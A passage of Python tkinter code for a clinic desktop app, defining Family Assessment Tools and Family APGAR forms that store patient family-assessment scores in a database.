DateEntry\nfrom tkinter import font as tkfont\nfrom functools import partial\nfrom tkinter import messagebox\nimport datetime as dt\n\nimport database.config as cfg\n\ndef menu_frame(self, controller, num):\n\tmenu_frame = tk.Frame(self, height = 60, width = 1200, bg = \"#b1c3e6\")\n\tmenu_frame.pack(side=\"top\")\n\n\tback_bttn = tk.Button(menu_frame, text=\"<\", command=lambda: controller.show_frame(\"LandingPage\"), height = 2, width = 5, bd = 0, bg = \"#043c39\", fg = \"#ffffff\")\n\tback_bttn.place(x=5, y=23)\n\tbttn1 = tk.Button(menu_frame, text=\"Patient Consultation Form\", command=lambda: controller.show_frame(\"PatientForm\"), height = 3, width = 30, bd = 0, bg = \"#dbdbdb\", wraplength = 180)\n\tbttn1.place(x=60, y=9)\n\tbttn2 = tk.Button(menu_frame, text=\"Geriatric Depression Scale – Short Form\", command=lambda: controller.show_frame(\"GeriatricForm\"), height = 3, width = 30, bd = 0, bg = \"#dbdbdb\", wraplength = 180)\n\tbttn2.place(x=285, y=9)\n\tbttn3 = tk.Button(menu_frame, text=\"First Consultation Record\", command=lambda: controller.show_frame(\"FirstConsForm\"), height = 3, width = 30, bd = 0, bg = \"#dbdbdb\", wraplength = 180)\n\tbttn3.place(x=510, y=9)\n\tbttn4 = tk.Button(menu_frame, text=\"Family Assessment Tools\", command=lambda: controller.show_frame(\"FamAssessForm\"), height = 3, width = 30, bd = 0, bg = \"#dbdbdb\", wraplength = 180)\n\tbttn4.place(x=735, y=9)\n\tbttn5 = tk.Button(menu_frame, text=\"Additional Form\", command=lambda: controller.show_frame(\"followup_patient_form\"), height = 3, width = 30, bd = 0, bg = \"#dbdbdb\", wraplength = 180)\n\tbttn5.place(x=960, y=9)\n\n\tif(num == 1):\n\t\tbttn1.config(height = 3, width = 30, bd = 0, wraplength = 180, bg = \"SystemButtonFace\")\n\telif(num == 2):\n\t\tbttn2.config(height = 3, width = 30, bd = 0, wraplength = 180, bg = \"SystemButtonFace\")\n\telif(num == 3):\n\t\tbttn3.config(height = 3, width = 30, bd = 0, wraplength = 180, bg = \"SystemButtonFace\")\n\telif(num == 4):\n\t\tbttn4.config(height = 3, width = 30, bd = 0, wraplength = 180, bg = \"SystemButtonFace\")\n\telse:\n\t\tbttn5.config(height = 3, width = 30, bd = 0, wraplength = 180, bg = \"SystemButtonFace\")\n\ndef submenu_buttons_2(self, controller, num):\n\tside_menu_frame = tk.Frame(self, height = 720, width = 200)\n\tside_menu_frame.pack(side=\"left\")\n\n\tb1 = tk.Button(side_menu_frame, text=\"Family Assessment Tools\", command=lambda: controller.show_frame(\"FamAssessForm\"), height = 3, width = 25, bd = 0, bg = \"#183873\", fg = \"#ffffff\", wraplength = 150)\n\tb1.place(x=25, y=160)\n\tb2 = tk.Button(side_menu_frame, text=\"Family APGAR\", command=lambda: controller.show_frame(\"family_apgar_form\"), height = 3, width = 25, bd = 0, bg = \"#183873\", fg = \"#ffffff\", wraplength = 150)\n\tb2.place(x=25, y=220)\n\n\tif(num == 1):\n\t\tb1.config(bg = \"#2553a8\")\n\telse:\n\t\tb2.config(bg = \"#2553a8\")\n\nclass FamAssessForm(tk.Frame): # Form contaning the Genogram, Family Map, ECOMAP, and Family Wellness Plan\n\n\tdef __init__(self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\t\tself.controller = controller\n\t\tmenu_frame(self, self.controller, 4)\n\t\tsubmenu_buttons_2(self, self.controller, 1)\n\n\t\tform_frame = tk.Frame(self, height = 720, width = 1000)\n\t\tform_frame.pack(side=\"left\")\n\n\t\tself.title_font = tkfont.Font(family='Times New Roman', size=10, weight=\"bold\")\n\t\tself.label_font = tkfont.Font(family='Helvetica', size = 8)\n\t\tself.label_font_2 = tkfont.Font(family='Helvetica', size = 8, weight=\"bold\")\n\t\tself.notes_font = tkfont.Font(family='Helvetica', size = 8, slant=\"italic\")\n\n\t\tlabel = tk.Label(form_frame, text=\"FAMILY ASSESSMENT TOOLS\", font=self.title_font)\n\t\tlabel.place(x=375, y=15)\n\n\t\tself.genogram = tk.Text(form_frame, height = 8, width = 30, wrap=\"word\")\n\t\tself.genogram.place(x=90, y=80)\n\t\tgenogram_label = tk.Label(form_frame, text=\"A. Genogram\", font=self.label_font, fg=\"#636363\")\n\t\tgenogram_label.place(x=90, y=60)\n\n\t\tself.fammap = tk.Text(form_frame, height = 8, width = 30, wrap=\"word\")\n\t\tself.fammap.place(x=375, y=80)\n\t\tfammap_label = tk.Label(form_frame, text=\"B. Family Map\", font=self.label_font, fg=\"#636363\")\n\t\tfammap_label.place(x=375, y=60)\n\n\t\tself.ecomap = tk.Text(form_frame, height = 8, width = 30, wrap=\"word\")\n\t\tself.ecomap.place(x=660, y=80)\n\t\tecomap_label = tk.Label(form_frame, text=\"C. ECOMAP\", font=self.label_font, fg=\"#636363\")\n\t\tecomap_label.place(x=660, y=60)\n\n\t\ttk.Button(form_frame, text=\"Add Details\", command=lambda: self.add_details_map(self.genogram.get('1.0', 'end-1c'), self.fammap.get('1.0', 'end-1c'), self.ecomap.get('1.0', 'end-1c')), height = 2, width = 15, bd = 0, bg = \"#259400\", fg = \"#ffffff\", activebackground = \"#cf0007\").place(x=335, y=230)\n\t\tself.edit_bttn = tk.Button(form_frame, text=\"Edit\", command=lambda: self.edit(), height = 2, width = 15, bd = 0, bg = \"#183873\", fg = \"#ffffff\", activebackground = \"#cf0007\")\n\t\tself.edit_bttn.place(x=525, y=230)\n\t\tself.edit_bttn.config(state = \"disabled\")\n\n\t\ttk.Label(form_frame, text=\"________\"*17, font=self.label_font, fg=\"#636363\").place(x=605, y=275)\n\n\t\tfam_wellness_label = tk.Label(form_frame, text=\"Family Wellness Plan\", font=self.label_font_2)\n\t\tfam_wellness_label.place(x=90, y=280)\n\t\tfam_wellness_dir_label = tk.Label(form_frame, text=\"List down wellness plan and put a check mark after when completed.\", font=self.notes_font, fg=\"#636363\")\n\t\tfam_wellness_dir_label.place(x=90, y=295)\n\n\t\tfam_member_label = tk.Label(form_frame, text=\"Family Member\", font=self.label_font, fg=\"#636363\")\n\t\tfam_member_label.place(x=110, y=320)\n\t\tself.fam_member = tk.Text(form_frame, height = 1, width = 35, wrap=\"word\")\n\t\tself.fam_member.place(x=110, y=340)\n\n\t\tscrnning_label = tk.Label(form_frame, text=\"Screening Test\", font=self.label_font, fg=\"#636363\")\n\t\tscrnning_label.place(x=430, y=320)\n\n\t\timmno_label = tk.Label(form_frame, text=\"Immunization\", font=self.label_font, fg=\"#636363\")\n\t\timmno_label.place(x=530, y=320)\n\n\t\tlfstyle_label = tk.Label(form_frame, text=\"Lifestyle Changes\", font=self.label_font, fg=\"#636363\")\n\t\tlfstyle_label.place(x=630, y=320)\n\n\t\tcnsling_label = tk.Label(form_frame, text=\"Counseling needs\", font=self.label_font, fg=\"#636363\")\n\t\tcnsling_label.place(x=730, y=320)\n\n\t\tself.lob = []\n\t\tself.b_var = []\n\n\t\tself.screening_var = 0\n\t\tself.immunization_var = 0\n\t\tself.lifestyle_var = 0\n\t\tself.counseling_var = 0\n\n\t\tx_value = 440\n\n\t\tfor i in range(4):\n\t\t\tself.b_var.append(0)\n\t\t\tb = tk.Button(form_frame, text=\"✓\", command=partial(self.set_var, i), height = 1, width = 5, bd = 1, fg = \"#000000\", bg = \"#e3e3e3\")\n\t\t\tb.place(x=x_value, y=340)\n\t\t\tself.lob.append(b)\n\t\t\tx_value = x_value + 100\n\n\t\ttk.Label(form_frame, text=\"________\"*17, font=self.label_font, fg=\"#636363\").place(x=90, y=370)\n\n\t\tself.tree = ttk.Treeview(form_frame, height = 8, columns=(\"A\", \"B\", \"C\", \"D\"))\n\t\tself.tree.heading(\"#0\", text=\"Family Member\")\n\t\tself.tree.heading(\"A\", text=\"Screening Test\")\n\t\tself.tree.heading(\"B\", text=\"Immunization\")\n\t\tself.tree.heading(\"C\", text=\"Lifestyle Changes\")\n\t\tself.tree.heading(\"D\", text=\"Counseling needs\")\n\t\tself.tree.column(\"#0\", minwidth=0, width=300, stretch=\"no\")\n\t\tself.tree.column(\"A\", minwidth=0, width=120, stretch=\"no\") \n\t\tself.tree.column(\"B\", minwidth=0, width=120, stretch=\"no\") \n\t\tself.tree.column(\"C\", minwidth=0, width=120, stretch=\"no\") \n\t\tself.tree.column(\"D\", minwidth=0, width=120, stretch=\"no\") \n\t\tvsb = ttk.Scrollbar(orient=\"vertical\", command=self.tree.yview)\n\t\tself.tree.configure(yscrollcommand=vsb.set)\n\t\tself.tree.place(x=110, y=410)\n\n\t\ttk.Button(form_frame, text=\"Add\", command=lambda: self.add_details(self.fam_member.get('1.0', 'end-1c'), self.screening_var, self.immunization_var, self.lifestyle_var, self.counseling_var), height = 2, width = 5, bd = 0, bg = \"#259400\", fg = \"#ffffff\", activebackground = \"#cf0007\").place(x=850, y=320)\n\n\tdef edit(self):\n\t\tself.genogram.config(state = \"normal\", bg = \"#ffffff\")\n\t\tself.fammap.config(state = \"normal\", bg = \"#ffffff\")\n\t\tself.ecomap.config(state = \"normal\", bg = \"#ffffff\")\n\n\tdef set_var(self, i):\n\t\tif self.b_var[i] == 0:\n\t\t\tself.b_var[i] = 1\n\t\t\tvote = self.b_var[i]\n\t\telse:\n\t\t\tself.b_var[i] = 0\n\t\t\tvote = self.b_var[i]\n\n\n\t\tif i == 0:\n\t\t\tif vote == 1:\n\t\t\t\tself.screening_var = 1\n\t\t\t\t(self.lob[i]).config(bg = \"#0060ba\", fg = \"#ffffff\")\n\t\t\telse:\n\t\t\t\tself.screening_var = 0\n\t\t\t\t(self.lob[i]).config(fg = \"#000000\", bg = \"#e3e3e3\")\n\t\telif i == 1:\n\t\t\tif vote == 1:\n\t\t\t\tself.immunization_var = 1\n\t\t\t\t(self.lob[i]).config(bg = \"#0060ba\", fg = \"#ffffff\")\n\t\t\telse:\n\t\t\t\tself.immunization_var = 0\n\t\t\t\t(self.lob[i]).config(fg = \"#000000\", bg = \"#e3e3e3\")\n\t\telif i == 2:\n\t\t\tif vote == 1:\n\t\t\t\tself.lifestyle_var = 1\n\t\t\t\t(self.lob[i]).config(bg = \"#0060ba\", fg = \"#ffffff\")\n\t\t\telse:\n\t\t\t\tself.lifestyle_var = 0\n\t\t\t\t(self.lob[i]).config(fg = \"#000000\", bg = \"#e3e3e3\")\n\t\telse:\n\t\t\tif vote == 1:\n\t\t\t\tself.counseling_var = 1\n\t\t\t\t(self.lob[i]).config(bg = \"#0060ba\", fg = \"#ffffff\")\n\t\t\telse:\n\t\t\t\tself.counseling_var = 0\n\t\t\t\t(self.lob[i]).config(fg = \"#000000\", bg = \"#e3e3e3\")\n\n\tdef add_details_map(self, genogram, fammap, ecomap):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tcur.execute((\"SELECT patient_id FROM patientfamassessment WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchone()\n\t\tif res is None:\n\t\t\tcur.execute((\"INSERT INTO patientfamassessment (genogram, family_map, ecomap, patient_id) VALUES (%s, %s, %s, %s)\"), (genogram, fammap, ecomap, self.controller.patient_id.get()))\n\t\t\tmydb.commit()\n\t\telse:\n\t\t\tcur.execute((\"UPDATE patientfamassessment SET genogram = %s, family_map = %s, ecomap = %s WHERE patient_id = %s\"), (genogram, fammap, ecomap, self.controller.patient_id.get()))\n\t\t\tmydb.commit()\n\n\t\tself.genogram.config(state = \"disabled\", bg = \"#c4c4c4\")\n\t\tself.fammap.config(state = \"disabled\", bg = \"#c4c4c4\")\n\t\tself.ecomap.config(state = \"disabled\", bg = \"#c4c4c4\")\n\t\tself.edit_bttn.config(state = \"normal\")\n\n\tdef add_details(self, name, scr_in, if_in, lf_in, c_in):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tif name == \"\":\n\t\t\tmessagebox.showwarning(\"Warning\", \"Please input a family member\")\n\t\telse:\n\t\t\tcur.execute((\"SELECT member_name FROM patientfammember WHERE patient_id = %s and member_name = %s\"), (self.controller.patient_id.get(), name))\n\t\t\tres = cur.fetchone()\n\t\t\tif res is None:\n\t\t\t\tcur.execute((\"INSERT INTO patientfammember (member_name, screening, immunization, lifestyle_changes, counseling_needs, patient_id) VALUES (%s, %s, %s, %s, %s, %s)\"), (name, int(scr_in), int(if_in), int(lf_in), int(c_in), self.controller.patient_id.get()))\n\t\t\t\tmydb.commit()\n\t\t\telse:\n\t\t\t\tcur.execute((\"UPDATE patientfammember SET member_name = %s, screening = %s, immunization = %s, lifestyle_changes = %s, counseling_needs = %s WHERE patient_id = %s and member_name = %s\"), (name, int(scr_in), int(if_in), int(lf_in), int(c_in), self.controller.patient_id.get(), name))\n\t\t\t\tmydb.commit()\n\n\t\t\tid = self.tree.insert('', 'end', text=name)\n\t\t\tif scr_in == 1:\n\t\t\t\tself.tree.set(id, 'A', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'A', \"No\")\n\n\t\t\tif if_in == 1:\n\t\t\t\tself.tree.set(id, 'B', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'B', \"No\")\n\n\t\t\tif lf_in == 1:\n\t\t\t\tself.tree.set(id, 'C', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'C', \"No\")\n\n\t\t\tif c_in == 1:\n\t\t\t\tself.tree.set(id, 'D', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'D', \"No\")\n\n\t\t\tself.fam_member.delete('1.0', 'end')\n\n\t\t\tself.screening_var = 0\n\t\t\tself.immunization_var = 0\n\t\t\tself.lifestyle_var = 0\n\t\t\tself.counseling_var = 0\n\t\t\t\n\t\t\tfor i in range(4):\n\t\t\t\t(self.lob[i]).config(fg = \"#000000\", bg = \"#e3e3e3\")\n\n\tdef load_data(self):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tself.genogram.delete('1.0', 'end')\n\t\tself.fammap.delete('1.0', 'end')\n\t\tself.ecomap.delete('1.0', 'end')\n\t\t\n\t\tcur.execute((\"SELECT genogram, family_map, ecomap FROM patientfamassessment WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchone()\n\n\t\tif res is not None:\n\t\t\tif res[0] is not None:\n\t\t\t\tself.genogram.insert('1.0', res[0])\n\t\t\tif res[1] is not None:\n\t\t\t\tself.fammap.insert('1.0', res[1])\n\t\t\tif res[2] is not None:\n\t\t\t\tself.ecomap.insert('1.0', res[2])\n\t\t\tself.genogram.config(state = \"disabled\", bg = \"#e8e8e8\")\n\t\t\tself.fammap.config(state = \"disabled\", bg = \"#e8e8e8\")\n\t\t\tself.ecomap.config(state = \"disabled\", bg = \"#e8e8e8\")\n\t\t\tself.edit_bttn.config(state = \"normal\")\n\t\telse:\n\t\t\tself.genogram.delete('1.0', 'end')\n\t\t\tself.fammap.delete('1.0', 'end')\n\t\t\tself.ecomap.delete('1.0', 'end')\n\n\t\tself.fam_member.delete('1.0', 'end')\n\n\t\tcur.execute((\"SELECT member_name, screening, immunization, lifestyle_changes, counseling_needs FROM patientfammember WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchall()\n\n\t\tself.tree.delete(*self.tree.get_children())\n\n\t\tfor i in range(len(res)):\n\t\t\tid = self.tree.insert('', 'end', text=res[i][0])\n\t\t\tif res[i][1] == 1:\n\t\t\t\tself.tree.set(id, 'A', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'A', \"No\")\n\n\t\t\tif res[i][2] == 1:\n\t\t\t\tself.tree.set(id, 'B', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'B', \"No\")\n\n\t\t\tif res[i][3] == 1:\n\t\t\t\tself.tree.set(id, 'C', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'C', \"No\")\n\n\t\t\tif res[i][4] == 1:\n\t\t\t\tself.tree.set(id, 'D', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'D', \"No\")\n\nclass family_apgar_form(tk.Frame): # Form containing the Family APGAR form \n\n\tdef __init__(self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\t\tself.controller = controller\n\t\tmenu_frame(self, self.controller, 4)\n\t\tsubmenu_buttons_2(self, self.controller, 2)\n\n\t\tself.title_font = tkfont.Font(family='Times New Roman', size=12, weight=\"bold\")\n\t\tself.subtitle_font = tkfont.Font(family='Helvetica', size=9, weight=\"bold\")\n\t\tself.label_font = tkfont.Font(family='Helvetica', size=8, slant=\"italic\")\n\t\tself.label_font2 = tkfont.Font(family='Helvetica', size=8, weight=\"bold\")\n\t\tself.label_font3 = tkfont.Font(family='Helvetica', size=10, weight=\"bold\", slant=\"italic\")\n\n\t\tform_frame = tk.Frame(self, height = 720, width = 1000)\n\t\tform_frame.pack(side=\"left\")\n\n\t\twith open(\"./data/APGAR.txt\", 'r') as f:\n\t\t\tapgar_questions = f.read().splitlines()\n\t\tf.close()\n\n\t\tquestion_label = tk.Label(form_frame, text=\"Areas of the APGAR\", font=self.subtitle_font)\n\t\tquestion_label.place(x=110, y=25)\n\n\t\ty_value = 70\n\n\t\tfam_num_1_label = tk.Label(form_frame, text=\"Family Member 1\", font=self.subtitle_font, wraplength=70)\n\t\tfam_num_1_label.place(x=505, y=25)\n\n\t\tfam_num_2_label = tk.Label(form_frame, text=\"Family Member 2\", font=self.subtitle_font, wraplength=70)\n\t\tfam_num_2_label.place(x=645, y=25)\n\n\t\taverage_label = tk.Label(form_frame, text=\"Average\", font=self.subtitle_font, wraplength=70)\n\t\taverage_label.place(x=780, y=25)\n\n\t\tself.apgar_var = []\n\t\tself.apgar_cb = []\n\t\tself.average = []\n\t\tself.vote_1_arr = []\n\t\tself.vote_2_arr = []\n\t\tself.avg_vote = []\n\t\tself.vote_1 = 0\n\t\tself.vote_2 = 0\n\t\tself.avg_value = 0\n\n\t\tfor i in range(0, len(apgar_questions), 2):\n\t\t\tcLabelFrame = tk.Frame(form_frame)\n\t\t\tcLabelFrame.place(x=90, y=y_value)\n\n\t\t\ttk.Label(cLabelFrame, text=apgar_questions[i], font=self.label_font, wraplength=350, justify=\"left\").grid(row=0, column=0, sticky=\"w\")\n\t\t\ttk.Label(cLabelFrame, text=apgar_questions[i+1], font=self.label_font2, wraplength=350, justify=\"left\").grid(row=1, column=0, sticky=\"w\")\n\n\t\t\tvar = []\n\t\t\tcb_arr = []\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"0\", variable=var[0])\n\t\t\tcb.place(x=480, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"1\", variable=var[1])\n\t\t\tcb.place(x=520, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"2\", variable=var[2])\n\t\t\tcb.place(x=560, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"0\", variable=var[3])\n\t\t\tcb.place(x=620, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"1\", variable=var[4])\n\t\t\tcb.place(x=660, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"2\", variable=var[5])\n\t\t\tcb.place(x=700, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tcb_arr[0].config(command=partial(self.check_cb, cb_arr, var, 0, self.average, (i//2)))\n\t\t\tcb_arr[1].config(command=partial(self.check_cb, cb_arr, var, 1, self.average, (i//2)))\n\t\t\tcb_arr[2].config(command=partial(self.check_cb, cb_arr, var, 2, self.average, (i//2)))\n\t\t\tcb_arr[3].config(command=partial(self.check_cb, cb_arr, var, 3, self.average, (i//2)))\n\t\t\tcb_arr[4].config(command=partial(self.check_cb, cb_arr, var, 4, self.average, (i//2)))\n\t\t\tcb_arr[5].config(command=partial(self.check_cb, cb_arr, var, 5, self.average, (i//2)))\n\n\t\t\tself.apgar_var.append(var)\n\t\t\tself.apgar_cb.append(cb_arr)\n\t\t\tself.vote_1_arr.append(0)\n\t\t\tself.vote_2_arr.append(0)\n\t\t\tself.avg_vote.append(0)\n\n\t\t\tavg_txt = tk.Label(form_frame, text=\"\", font=self.label_font3)\n\t\t\tavg_txt.place(x=795, y=y_value)\n\n\t\t\tself.average.append(avg_txt)\n\n\t\t\ty_value = y_value + 100\n\n\t\toverall_label = tk.Label(form_frame, text=\"Overall Assessment\", font=self.subtitle_font)\n\t\toverall_label.place(x=110, y=y_value-30)\n\n\t\tself.overall_f1_txt = tk.Label(form_frame, text=\"\", font=self.label_font, wraplength=120)\n\t\tself.overall_f1_txt.place(x=485, y=y_value-30)\n\n\t\tself.overall_f2_txt = tk.Label(form_frame, text=\"\", font=self.label_font, wraplength=120)\n\t\tself.overall_f2_txt.place(x=625, y=y_value-30)\n\n\t\tself.overall_avg_txt = tk.Label(form_frame, text=\"\", font=self.label_font, wraplength=120)\n\t\tself.overall_avg_txt.place(x=775, y=y_value-30)\n\n\t\ttk.Label(form_frame, text=\"*Score: 0-hardly ever (halos hindi), 1-some of the time (minsan), 2-almost always (palagi)\", font=self.label_font, fg=\"#636363\").place(x=110, y=y_value+ 10)\n\t\ttk.Label(form_frame, text=\"*Interpretation: 0-3 severely dysfunctional, 4-6 moderately dysfunctional, 7-10 highly functional\", font=self.label_font, fg=\"#636363\").place(x=110, y=y_value + 30)\n\n\t\tself.sub_bttn = tk.Button(form_frame, text=\"Submit\", command=lambda: self.submit(), height = 1, width = 12, bd = 0, bg = \"#183873\", fg = \"#ffffff\")\n\t\tself.sub_bttn.place(x=660, y=y_value + 10)\n\n\t\tself.res_bttn = tk.Button(form_frame, text=\"Show Results\", command=lambda: controller.show_frame(\"family_apgar_form_res\"), height = 1, width = 12, bd = 0, bg = \"#183873\", fg = \"#ffffff\")\n\t\tself.res_bttn.place(x=820, y=y_value + 10)\n\t\tself.res_bttn.config(state = \"disabled\")\n\n\tdef load_data(self):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tcur.execute((\"SELECT fam_1_apgar_score, fam_2_apgar_score, avg_apgar_score FROM patientfamassessment WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchone()\n\t\tif res is None:\n\t\t\tself.res_bttn.config(state = \"disabled\")\n\t\telse:\n\t\t\tself.res_bttn.config(state = \"normal\")\n\n\t\tfor i in range(5):\n\t\t\tself.apgar_var[i][0].set(0)\n\t\t\tself.apgar_var[i][1].set(0)\n\t\t\tself.apgar_var[i][2].set(0)\n\t\t\tself.apgar_var[i][3].set(0)\n\t\t\tself.apgar_var[i][4].set(0)\n\t\t\tself.apgar_var[i][5].set(0)\n\n\t\t\tself.apgar_cb[i][0].config(state=\"normal\")\n\t\t\tself.apgar_cb[i][1].config(state=\"normal\")\n\t\t\tself.apgar_cb[i][2].config(state=\"normal\")\n\t\t\tself.apgar_cb[i][3].config(state=\"normal\")\n\t\t\tself.apgar_cb[i][4].config(state=\"normal\")\n\t\t\tself.apgar_cb[i][5].config(state=\"normal\")\n\n\t\t\tself.average[i]['text'] = \"\"\n\n\t\t\tself.vote_1_arr[i] = 0\n\t\t\tself.vote_2_arr[i] = 0\n\t\t\tself.avg_vote[i] = 0\n\n\t\tself.vote_1 = 0\n\t\tself.vote_2 = 0\n\t\tself.overall_f1_txt['text'] = \"\"\n\t\tself.overall_f2_txt['text'] = \"\"\n\t\tself.overall_avg_txt['text'] = \"\" \n\n\tdef check_cb(self, cb_arr, cb_var_arr, i, average, index):\n\t\tif i < 3:\n\t\t\tif i == 0:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i+1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i+2].config(state=\"disabled\")\n\t\t\t\t\tself.vote_1_arr[index] = 0\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i+1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i+2].config(state=\"normal\")\n\t\t\t\t\tself.vote_1_arr[index] = 0\n\t\t\telif i == 1:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i-1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i+1].config(state=\"disabled\")\n\t\t\t\t\tself.vote_1 = self.vote_1 + 1\n\t\t\t\t\tself.vote_1_arr[index] = 1\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i-1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i+1].config(state=\"normal\")\n\t\t\t\t\tself.vote_1 = self.vote_1 - 1\n\t\t\t\t\tself.vote_1_arr[index] = 0\n\t\t\telse:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i-1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i-2].config(state=\"disabled\")\n\t\t\t\t\tself.vote_1 = self.vote_1 + 2\n\t\t\t\t\tself.vote_1_arr[index] = 2\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i-1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i-2].config(state=\"normal\")\n\t\t\t\t\tself.vote_1 = self.vote_1 - 2\n\t\t\t\t\tself.vote_1_arr[index] = 0\n\t\telse:\n\t\t\tif i == 3:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i+1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i+2].config(state=\"disabled\")\n\t\t\t\t\tself.vote_2_arr[index] = 0\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i+1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i+2].config(state=\"normal\")\n\t\t\t\t\tself.vote_2_arr[index] = 0\n\t\t\telif i == 4:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i-1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i+1].config(state=\"disabled\")\n\t\t\t\t\tself.vote_2 = self.vote_2 + 1\n\t\t\t\t\tself.vote_2_arr[index] = 1\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i-1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i+1].config(state=\"normal\")\n\t\t\t\t\tself.vote_2 = self.vote_2 - 1\n\t\t\t\t\tself.vote_2_arr[index] = 0\n\t\t\telse:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i-1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i-2].config(state=\"disabled\")\n\t\t\t\t\tself.vote_2 = self.vote_2 + 2\n\t\t\t\t\tself.vote_2_arr[index] = 2\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i-1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i-2].config(state=\"normal\")\n\t\t\t\t\tself.vote_2 = self.vote_2 - 2\n\t\t\t\t\tself.vote_2_arr[index] = 0\n\n\t\tfor i in range(5):\n\t\t\ttemp_avg = (self.vote_1_arr[i] + self.vote_2_arr[i]) / 2\n\t\t\tself.average[i]['text'] = str(temp_avg)\n\t\t\tself.avg_vote[i] = temp_avg\n\n\t\tself.avg_value = 0\n\t\tfor i in range(len(self.avg_vote)):\n\t\t\tself.avg_value = self.avg_value + self.avg_vote[i]\n\n\t\tif self.avg_value <= 3:\n\t\t\tself.overall_avg_txt['text'] = str(self.avg_value) +\" - Severely dysfunctional\" \n\t\telif self.avg_value <= 6:\n\t\t\tself.overall_avg_txt['text'] = str(self.avg_value) + \" - Moderately dysfunctional\" \n\t\telse:\n\t\t\tself.overall_avg_txt['text'] = str(self.avg_value) + \" - Highly functional\"\n\n\n\t\tif self.vote_1 <= 3:\n\t\t\tself.overall_f1_txt['text'] = str(self.vote_1) +\" - Severely dysfunctional\" \n\t\telif self.vote_1 <= 6:\n\t\t\tself.overall_f1_txt['text'] = str(self.vote_1) + \" - Moderately dysfunctional\" \n\t\telse:\n\t\t\tself.overall_f1_txt['text'] = str(self.vote_1) + \" - Highly functional\"\n\n\t\tif self.vote_2 <= 3:\n\t\t\tself.overall_f2_txt['text'] = str(self.vote_2) +\" - Severely dysfunctional\" \n\t\telif self.vote_2 <= 6:\n\t\t\tself.overall_f2_txt['text'] = str(self.vote_2) + \" - Moderately dysfunctional\" \n\t\telse:\n\t\t\tself.overall_f2_txt['text'] = str(self.vote_2) + \" - Highly functional\"\n\n\tdef submit(self):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tcur.execute((\"SELECT fam_1_apgar_score, fam_2_apgar_score, avg_apgar_score FROM patientfamassessment WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchone()\n\t\tif res is None:\n\t\t\tcur.execute((\"INSERT INTO patientfamassessment (fam_1_apgar_score, fam_2_apgar_score, avg_apgar_score, patient_id) VALUES (%s, %s, %s, %s)\"), (int(self.vote_1), int(self.vote_2), int(self.avg_value), self.controller.patient_id.get()))\n\t\t\tmydb.commit()\n\t\telse:\n\t\t\tcur.execute((\"UPDATE patientfamassessment SET fam_1_apgar_score = %s, fam_2_apgar_score = %s, avg_apgar_score = %s WHERE patient_id = %s\"), (int(self.vote_1), int(self.vote_2), int(self.avg_value), 